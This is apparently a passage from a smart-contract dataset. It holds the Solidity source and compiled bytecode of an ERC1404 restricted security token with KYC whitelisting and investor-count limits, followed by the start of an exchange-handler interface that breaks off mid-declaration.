// Transfer not allowed = false
bool public isTradingAllowed = true;
constructor(uint256 _initialSupply, string memory _name, string memory _symbol, uint256 _allowedInvestors, uint256 _decimals, string memory _ShareCertificate, string memory _CompanyHomepage, string memory _CompanyLegalDocs ) {
name = _name;
symbol = _symbol;
decimals = _decimals;
_owner = msg.sender;
_buyRestriction[_owner] = 1;
_sellRestriction[_owner] = 1;
allowedInvestors = _allowedInvestors;
// Minting tokens for initial supply
_totalSupply = _initialSupply;
_balances[_owner] = _totalSupply;
// add message sender to whitelist authority list
_whitelistControlAuthority[_owner] = true;
ShareCertificate = _ShareCertificate;
CompanyHomepage = _CompanyHomepage;
CompanyLegalDocs = _CompanyLegalDocs;
emit Transfer(address(0), _owner, _totalSupply);
}
function resetShareCertificate(string memory _ShareCertificate)
external
onlyOwner {
ShareCertificate = _ShareCertificate;
}
function resetCompanyHomepage(string memory _CompanyHomepage)
external
onlyOwner {
CompanyHomepage = _CompanyHomepage;
}
function resetCompanyLegalDocs(string memory _CompanyLegalDocs)
external
onlyOwner {
CompanyLegalDocs = _CompanyLegalDocs;
}
// _allowedInvestors = 0 No limit on number of investors
// _allowedInvestors > 0 only X number of investors can have positive balance
function resetAllowedInvestors(uint256 _allowedInvestors)
external
onlyOwner {
if( _allowedInvestors != 0 )
require(_allowedInvestors >= currentTotalInvestors, "Allowed Investors cannot be less than Current holders");
allowedInvestors = _allowedInvestors;
}
function flipTradingStatus()
external
onlyOwner {
isTradingAllowed = !isTradingAllowed;
}
//-----------------------------------------------------------------------
// Get or set current owner of this smart contract
function owner()
external
view
returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Only owner can call function");
_;
}
function transferOwnership(address newOwner)
external
onlyOwner {
require(newOwner != address(0), "Zero address not allowed");
_owner = newOwner;
}
//-----------------------------------------------------------------------
//-----------------------------------------------------------------------
// Manage whitelist autority and KYC status
function setWhitelistAuthorityStatus(address user)
external
onlyOwner {
_whitelistControlAuthority[user] = true;
}
function removeWhitelistAuthorityStatus(address user)
external
onlyOwner {
delete _whitelistControlAuthority[user];
}
function getWhitelistAuthorityStatus(address user)
external
view
returns (bool) {
return _whitelistControlAuthority[user];
}
// Set buy and sell restrictions on investors
function modifyKYCData (address user, uint256 buyRestriction, uint256 sellRestriction)
external
{
require(_whitelistControlAuthority[msg.sender] == true, "Not Whitelist Authority");
_buyRestriction[user] = buyRestriction;
_sellRestriction[user] = sellRestriction;
}
function getKYCData(address user)
external
view
returns (uint256, uint256 ) {
return (_buyRestriction[user] , _sellRestriction[user] );
}
//-----------------------------------------------------------------------
//-----------------------------------------------------------------------
// These are ERC1404 interface implementations
modifier notRestricted (address from, address to, uint256 value) {
uint8 restrictionCode = detectTransferRestriction(from, to, value);
require(restrictionCode == 1, messageForTransferRestriction(restrictionCode));
_;
}
function detectTransferRestriction (address _from, address _to, uint256 value)
override
public
view
returns (uint8 status)
{
// check if trading is allowed
require(isTradingAllowed == true, "Transfer not allowed");
require( value > 0, "Value bring transferred cannot be 0");
require( _sellRestriction[_from] != 0 && _buyRestriction[_to] != 0, "Not Whitelisted" );
require( _sellRestriction[_from] <= block.timestamp && _buyRestriction[_to] <= block.timestamp, "KYC Time Restriction" );
// Following conditions make sure if number of token holders are within limit if enabled
// allowedInvestors = 0 means no restriction on token holders
if(allowedInvestors == 0)
return 1;
else {
if( _balances[_to] > 0 || _to == _owner)
// token can be transferred if the reciver is alreay holding tokens and already counted in currentTotalInvestors
// or receiver is the company account. Company account do not count in currentTotalInvestors
return 1;
else {
if( currentTotalInvestors < allowedInvestors )
// currentTotalInvestors is within limits of allowedInvestors
return 1;
else {
// In this section currentTotalInvestors = allowedInvestors and no more transaction are allowed,
// except following conditions
// if whole balance is being transferred from sender to another whitelisted investor with 0 balance and sender is no owner
// in this situation any sender cannot send partial balance to new receiver as it will exceed allowedInvestors limt
// sending the whole balance will exclude current holder from allowedInvestors and new receiver will be added in allowedInvestors
// owner is excluded in this situation because if he send partial or full balance to new investor then it will exceed allowedInvestors
if( _balances[_from] == value && _balances[_to] == 0 && _from != _owner)
return 1;
else
return 0;
}
}
}
}
function messageForTransferRestriction (uint8 restrictionCode)
override
public
pure
returns (string memory message)
{
if (restrictionCode == 1)
message = "Whitelisted";
else
message = "Not Whitelisted";
}
//-----------------------------------------------------------------------
function totalSupply()
override
external
view
returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
override
external
view
returns (uint256) {
return _balances[account];
}
function approve(
address spender,
uint256 amount
)
override
external
returns (bool)
{
require(spender != address(0), "Zero address not allowed");
require(amount > 0, "Amount cannot be 0");
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function allowance(address ownby, address spender)
override
external
view
returns (uint256) {
return _allowances[ownby][spender];
}
function transfer(
address recipient,
uint256 amount
)
override
external
notRestricted (msg.sender, recipient, amount)
returns (bool)
{
transferSharesBetweenInvestors ( msg.sender, recipient, amount );
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
)
override
external
notRestricted (sender, recipient, amount)
returns (bool)
{
require(_allowances[sender][msg.sender] >= amount, "Amount cannot be greater than Allowance" );
transferSharesBetweenInvestors ( sender, recipient, amount );
_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
return true;
}
// Transfer tokens from one account to other
// Also manage current number of account holders
function transferSharesBetweenInvestors (
address sender,
address recipient,
uint256 amount
)
internal
{
require(_balances[sender] >= amount, " Amount greater than sender balance");
// owner account is not counted in currentTotalInvestors in below conditions
_balances[sender] = _balances[sender] - amount;
if( _balances[sender] == 0 && sender != _owner )
currentTotalInvestors = currentTotalInvestors - 1;
if( _balances[recipient] == 0 && recipient != _owner )
currentTotalInvestors = currentTotalInvestors + 1;
_balances[recipient] = _balances[recipient] + amount;
emit Transfer(sender, recipient, amount);
}
function mint(address account, uint256 amount)
onlyOwner
external
returns (bool) {
require(account != address(0), "Zero address not allowed");
_totalSupply = _totalSupply + amount;
_balances[account] = _balances[account] + amount;
emit Transfer(address(0), account, amount);
return true;
}
function burn(address account, uint256 amount)
onlyOwner
external
returns (bool) {
require(account != address(0), "Zero address not allowed");
require(_balances[account] >= amount, "Amount greater than balance");
_totalSupply = _totalSupply - amount;
_balances[account] = _balances[account] - amount;
emit Transfer(account, address(0), amount);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106101e55760003560e01c806384f9007f1161010f578063ac893db1116100a2578063da76e2f311610071578063da76e2f314610597578063dd62ed3e146105b3578063e8379421146105e3578063f2fde38b14610613576101e5565b8063ac893db114610511578063b1b5932a1461052d578063c319e41c1461054b578063d4ce141514610567576101e5565b8063a48179ff116100de578063a48179ff14610476578063a9059cbb14610494578063ab47a2f9146104c4578063abc30a4b146104f5576101e5565b806384f9007f146103ec5780638da5cb5b1461040a57806395d89b41146104285780639dc29fac14610446576101e5565b806340c10f191161018757806362a3d4bd1161015657806362a3d4bd146103525780636401ca761461036e57806370a082311461038c5780637f4ab1dd146103bc576101e5565b806340c10f19146102ca57806345968836146102fa57806351aebcd41461031857806359a72ddc14610334576101e5565b806320b6a50f116101c357806320b6a50f1461025657806323b872dd146102605780632b8e797a14610290578063313ce567146102ac576101e5565b806306fdde03146101ea578063095ea7b31461020857806318160ddd14610238575b600080fd5b6101f261062f565b6040516101ff9190612b4d565b60405180910390f35b610222600480360381019061021d91906125ec565b6106bd565b60405161022f9190612b32565b60405180910390f35b610240610861565b60405161024d9190612cef565b60405180910390f35b61025e61086b565b005b61027a6004803603810190610275919061259d565b610927565b6040516102879190612b32565b60405180910390f35b6102aa60048036038101906102a59190612628565b610b6e565b005b6102b4610c8d565b6040516102c19190612cef565b60405180910390f35b6102e460048036038101906102df91906125ec565b610c93565b6040516102f19190612b32565b60405180910390f35b610302610ea7565b60405161030f9190612cef565b60405180910390f35b610332600480360381019061032d9190612677565b610ead565b005b61033c610f57565b6040516103499190612b4d565b60405180910390f35b61036c600480360381019061036791906126b8565b610fe5565b005b6103766110cd565b6040516103839190612cef565b60405180910390f35b6103a660048036038101906103a19190612538565b6110d3565b6040516103b39190612cef565b60405180910390f35b6103d660048036038101906103d191906126e1565b61111c565b6040516103e39190612b4d565b60405180910390f35b6103f46111a5565b6040516104019190612b4d565b60405180910390f35b610412611233565b60405161041f9190612b17565b60405180910390f35b61043061125d565b60405161043d9190612b4d565b60405180910390f35b610460600480360381019061045b91906125ec565b6112eb565b60405161046d9190612b32565b60405180910390f35b61047e611581565b60405161048b9190612b32565b60405180910390f35b6104ae60048036038101906104a991906125ec565b611594565b6040516104bb9190612b32565b60405180910390f35b6104de60048036038101906104d99190612538565b611613565b6040516104ec929190612d0a565b60405180910390f35b61050f600480360381019061050a9190612677565b61169e565b005b61052b60048036038101906105269190612677565b611748565b005b6105356117f2565b6040516105429190612b4d565b60405180910390f35b61056560048036038101906105609190612538565b611880565b005b610581600480360381019061057c919061259d565b61196b565b60405161058e9190612d33565b60405180910390f35b6105b160048036038101906105ac9190612538565b611d73565b005b6105cd60048036038101906105c89190612561565b611e55565b6040516105da9190612cef565b60405180910390f35b6105fd60048036038101906105f89190612538565b611edc565b60405161060a9190612b32565b60405180910390f35b61062d60048036038101906106289190612538565b611f32565b005b6008805461063c90612eec565b80601f016020809104026020016040519081016040528092919081815260200182805461066890612eec565b80156106b55780601f1061068a576101008083540402835291602001916106b5565b820191906000526020600020905b81548152906001019060200180831161069857829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561072e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072590612c2f565b60405180910390fd5b60008211610771576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076890612bcf565b60405180910390fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161084f9190612cef565b60405180910390a36001905092915050565b6000600754905090565b3373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f290612b6f565b60405180910390fd5b600f60009054906101000a900460ff1615600f60006101000a81548160ff021916908315150217905550565b6000838383600061093984848461196b565b905060018160ff161461094b8261111c565b9061098c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109839190612b4d565b60405180910390fd5b5085600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390612bef565b60405180910390fd5b610a57888888612076565b85600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610adf9190612e21565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019450505050509392505050565b60011515600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610c01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf890612ccf565b60405180910390fd5b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b60065481565b60003373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1c90612b6f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8c90612c2f565b60405180910390fd5b81600754610da39190612dcb565b60078190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610df49190612dcb565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e959190612cef565b60405180910390a36001905092915050565b600d5481565b3373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3490612b6f565b60405180910390fd5b80600c9080519060200190610f539291906123ee565b5050565b600a8054610f6490612eec565b80601f0160208091040260200160405190810160405280929190818152602001828054610f9090612eec565b8015610fdd5780601f10610fb257610100808354040283529160200191610fdd565b820191906000526020600020905b815481529060010190602001808311610fc057829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611075576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106c90612b6f565b60405180910390fd5b600081146110c357600d548110156110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b990612c8f565b60405180910390fd5b5b80600e8190555050565b600e5481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060018260ff161415611167576040518060400160405280600b81526020017f57686974656c697374656400000000000000000000000000000000000000000081525090506111a0565b6040518060400160405280600f81526020017f4e6f742057686974656c6973746564000000000000000000000000000000000081525090505b919050565b600b80546111b290612eec565b80601f01602080910402602001604051908101604052809291908181526020018280546111de90612eec565b801561122b5780601f106112005761010080835404028352916020019161122b565b820191906000526020600020905b81548152906001019060200180831161120e57829003601f168201915b505050505081565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6009805461126a90612eec565b80601f016020809104026020016040519081016040528092919081815260200182805461129690612eec565b80156112e35780601f106112b8576101008083540402835291602001916112e3565b820191906000526020600020905b8154815290600101906020018083116112c657829003601f168201915b505050505081565b60003373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137490612b6f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e490612c2f565b60405180910390fd5b81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561146f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146690612c6f565b60405180910390fd5b8160075461147d9190612e21565b60078190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ce9190612e21565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161156f9190612cef565b60405180910390a36001905092915050565b600f60009054906101000a900460ff1681565b600033838360006115a684848461196b565b905060018160ff16146115b88261111c565b906115f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f09190612b4d565b60405180910390fd5b50611605338888612076565b600194505050505092915050565b6000806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491509150915091565b3373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461172e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172590612b6f565b60405180910390fd5b80600b90805190602001906117449291906123ee565b5050565b3373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cf90612b6f565b60405180910390fd5b80600a90805190602001906117ee9291906123ee565b5050565b600c80546117ff90612eec565b80601f016020809104026020016040519081016040528092919081815260200182805461182b90612eec565b80156118785780601f1061184d57610100808354040283529160200191611878565b820191906000526020600020905b81548152906001019060200180831161185b57829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611910576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190790612b6f565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600060011515600f60009054906101000a900460ff161515146119c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ba90612baf565b60405180910390fd5b60008211611a06576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fd90612b8f565b60405180910390fd5b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414158015611a95575060008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b611ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611acb90612caf565b60405180910390fd5b42600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411158015611b615750426000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b611ba0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9790612c0f565b60405180910390fd5b6000600e541415611bb45760019050611d6c565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180611c4f5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611c5d5760019050611d6c565b600e54600d541015611c725760019050611d6c565b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015611cff57506000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b8015611d595750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611d675760019050611d6c565b600090505b9392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dfa90612b6f565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff021916905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611fc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb990612b6f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612032576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202990612c2f565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156120f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ef90612c4f565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121439190612e21565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541480156122235750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561223e576001600d546122379190612e21565b600d819055505b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541480156122db5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156122f6576001600d546122ef9190612dcb565b600d819055505b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123419190612dcb565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516123e19190612cef565b60405180910390a3505050565b8280546123fa90612eec565b90600052602060002090601f01602090048101928261241c5760008555612463565b82601f1061243557805160ff1916838001178555612463565b82800160010185558215612463579182015b82811115612462578251825591602001919060010190612447565b5b5090506124709190612474565b5090565b5b8082111561248d576000816000905550600101612475565b5090565b60006124a461249f84612d7f565b612d4e565b9050828152602081018484840111156124bc57600080fd5b6124c7848285612eaa565b509392505050565b6000813590506124de81612fbc565b92915050565b600082601f8301126124f557600080fd5b8135612505848260208601612491565b91505092915050565b60008135905061251d81612fd3565b92915050565b60008135905061253281612fea565b92915050565b60006020828403121561254a57600080fd5b6000612558848285016124cf565b91505092915050565b6000806040838503121561257457600080fd5b6000612582858286016124cf565b9250506020612593858286016124cf565b9150509250929050565b6000806000606084860312156125b257600080fd5b60006125c0868287016124cf565b93505060206125d1868287016124cf565b92505060406125e28682870161250e565b9150509250925092565b600080604083850312156125ff57600080fd5b600061260d858286016124cf565b925050602061261e8582860161250e565b9150509250929050565b60008060006060848603121561263d57600080fd5b600061264b868287016124cf565b935050602061265c8682870161250e565b925050604061266d8682870161250e565b9150509250925092565b60006020828403121561268957600080fd5b600082013567ffffffffffffffff8111156126a357600080fd5b6126af848285016124e4565b91505092915050565b6000602082840312156126ca57600080fd5b60006126d88482850161250e565b91505092915050565b6000602082840312156126f357600080fd5b600061270184828501612523565b91505092915050565b61271381612e55565b82525050565b61272281612e67565b82525050565b600061273382612daf565b61273d8185612dba565b935061274d818560208601612eb9565b61275681612fab565b840191505092915050565b600061276e601c83612dba565b91507f4f6e6c79206f776e65722063616e2063616c6c2066756e6374696f6e000000006000830152602082019050919050565b60006127ae602383612dba565b91507f56616c7565206272696e67207472616e736665727265642063616e6e6f74206260008301527f65203000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612814601483612dba565b91507f5472616e73666572206e6f7420616c6c6f7765640000000000000000000000006000830152602082019050919050565b6000612854601283612dba565b91507f416d6f756e742063616e6e6f74206265203000000000000000000000000000006000830152602082019050919050565b6000612894602783612dba565b91507f416d6f756e742063616e6e6f742062652067726561746572207468616e20416c60008301527f6c6f77616e6365000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006128fa601483612dba565b91507f4b59432054696d65205265737472696374696f6e0000000000000000000000006000830152602082019050919050565b600061293a601883612dba565b91507f5a65726f2061646472657373206e6f7420616c6c6f77656400000000000000006000830152602082019050919050565b600061297a602383612dba565b91507f20416d6f756e742067726561746572207468616e2073656e6465722062616c6160008301527f6e636500000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006129e0601b83612dba565b91507f416d6f756e742067726561746572207468616e2062616c616e636500000000006000830152602082019050919050565b6000612a20603583612dba565b91507f416c6c6f77656420496e766573746f72732063616e6e6f74206265206c65737360008301527f207468616e2043757272656e7420686f6c6465727300000000000000000000006020830152604082019050919050565b6000612a86600f83612dba565b91507f4e6f742057686974656c697374656400000000000000000000000000000000006000830152602082019050919050565b6000612ac6601783612dba565b91507f4e6f742057686974656c69737420417574686f726974790000000000000000006000830152602082019050919050565b612b0281612e93565b82525050565b612b1181612e9d565b82525050565b6000602082019050612b2c600083018461270a565b92915050565b6000602082019050612b476000830184612719565b92915050565b60006020820190508181036000830152612b678184612728565b905092915050565b60006020820190508181036000830152612b8881612761565b9050919050565b60006020820190508181036000830152612ba8816127a1565b9050919050565b60006020820190508181036000830152612bc881612807565b9050919050565b60006020820190508181036000830152612be881612847565b9050919050565b60006020820190508181036000830152612c0881612887565b9050919050565b60006020820190508181036000830152612c28816128ed565b9050919050565b60006020820190508181036000830152612c488161292d565b9050919050565b60006020820190508181036000830152612c688161296d565b9050919050565b60006020820190508181036000830152612c88816129d3565b9050919050565b60006020820190508181036000830152612ca881612a13565b9050919050565b60006020820190508181036000830152612cc881612a79565b9050919050565b60006020820190508181036000830152612ce881612ab9565b9050919050565b6000602082019050612d046000830184612af9565b92915050565b6000604082019050612d1f6000830185612af9565b612d2c6020830184612af9565b9392505050565b6000602082019050612d486000830184612b08565b92915050565b6000604051905081810181811067ffffffffffffffff82111715612d7557612d74612f7c565b5b8060405250919050565b600067ffffffffffffffff821115612d9a57612d99612f7c565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000612dd682612e93565b9150612de183612e93565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612e1657612e15612f1e565b5b828201905092915050565b6000612e2c82612e93565b9150612e3783612e93565b925082821015612e4a57612e49612f1e565b5b828203905092915050565b6000612e6082612e73565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b83811015612ed7578082015181840152602081019050612ebc565b83811115612ee6576000848401525b50505050565b60006002820490506001821680612f0457607f821691505b60208210811415612f1857612f17612f4d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b612fc581612e55565b8114612fd057600080fd5b50565b612fdc81612e93565b8114612fe757600080fd5b50565b612ff381612e9d565b8114612ffe57600080fd5b5056fea2646970667358221220eb11865b065ccdd63e994b4d511cde409589256c38e8583c461a71b8c6ad65e264736f6c63430008000033
|
{"success": true, "error": null, "results": {}}
| 8,965 |
0x18a27a0e42d02d88ea2800ffe3bf094fb2de3e53
|
pragma solidity 0.4.21;
// File: contracts/ExchangeHandler.sol
/// @title Interface for all exchange handler contracts
interface ExchangeHandler {
/// @dev Get the available amount left to fill for an order
/// @param orderAddresses Array of address values needed for this DEX order
/// @param orderValues Array of uint values needed for this DEX order
/// @param exchangeFee Value indicating the fee for this DEX order
/// @param v ECDSA signature parameter v
/// @param r ECDSA signature parameter r
/// @param s ECDSA signature parameter s
/// @return Available amount left to fill for this order
function getAvailableAmount(
address[8] orderAddresses,
uint256[6] orderValues,
uint256 exchangeFee,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256);
/// @dev Perform a buy order at the exchange
/// @param orderAddresses Array of address values needed for each DEX order
/// @param orderValues Array of uint values needed for each DEX order
/// @param exchangeFee Value indicating the fee for this DEX order
/// @param amountToFill Amount to fill in this order
/// @param v ECDSA signature parameter v
/// @param r ECDSA signature parameter r
/// @param s ECDSA signature parameter s
/// @return Amount filled in this order
function performBuy(
address[8] orderAddresses,
uint256[6] orderValues,
uint256 exchangeFee,
uint256 amountToFill,
uint8 v,
bytes32 r,
bytes32 s
) external payable returns (uint256);
/// @dev Perform a sell order at the exchange
/// @param orderAddresses Array of address values needed for each DEX order
/// @param orderValues Array of uint values needed for each DEX order
/// @param exchangeFee Value indicating the fee for this DEX order
/// @param amountToFill Amount to fill in this order
/// @param v ECDSA signature parameter v
/// @param r ECDSA signature parameter r
/// @param s ECDSA signature parameter s
/// @return Amount filled in this order
function performSell(
address[8] orderAddresses,
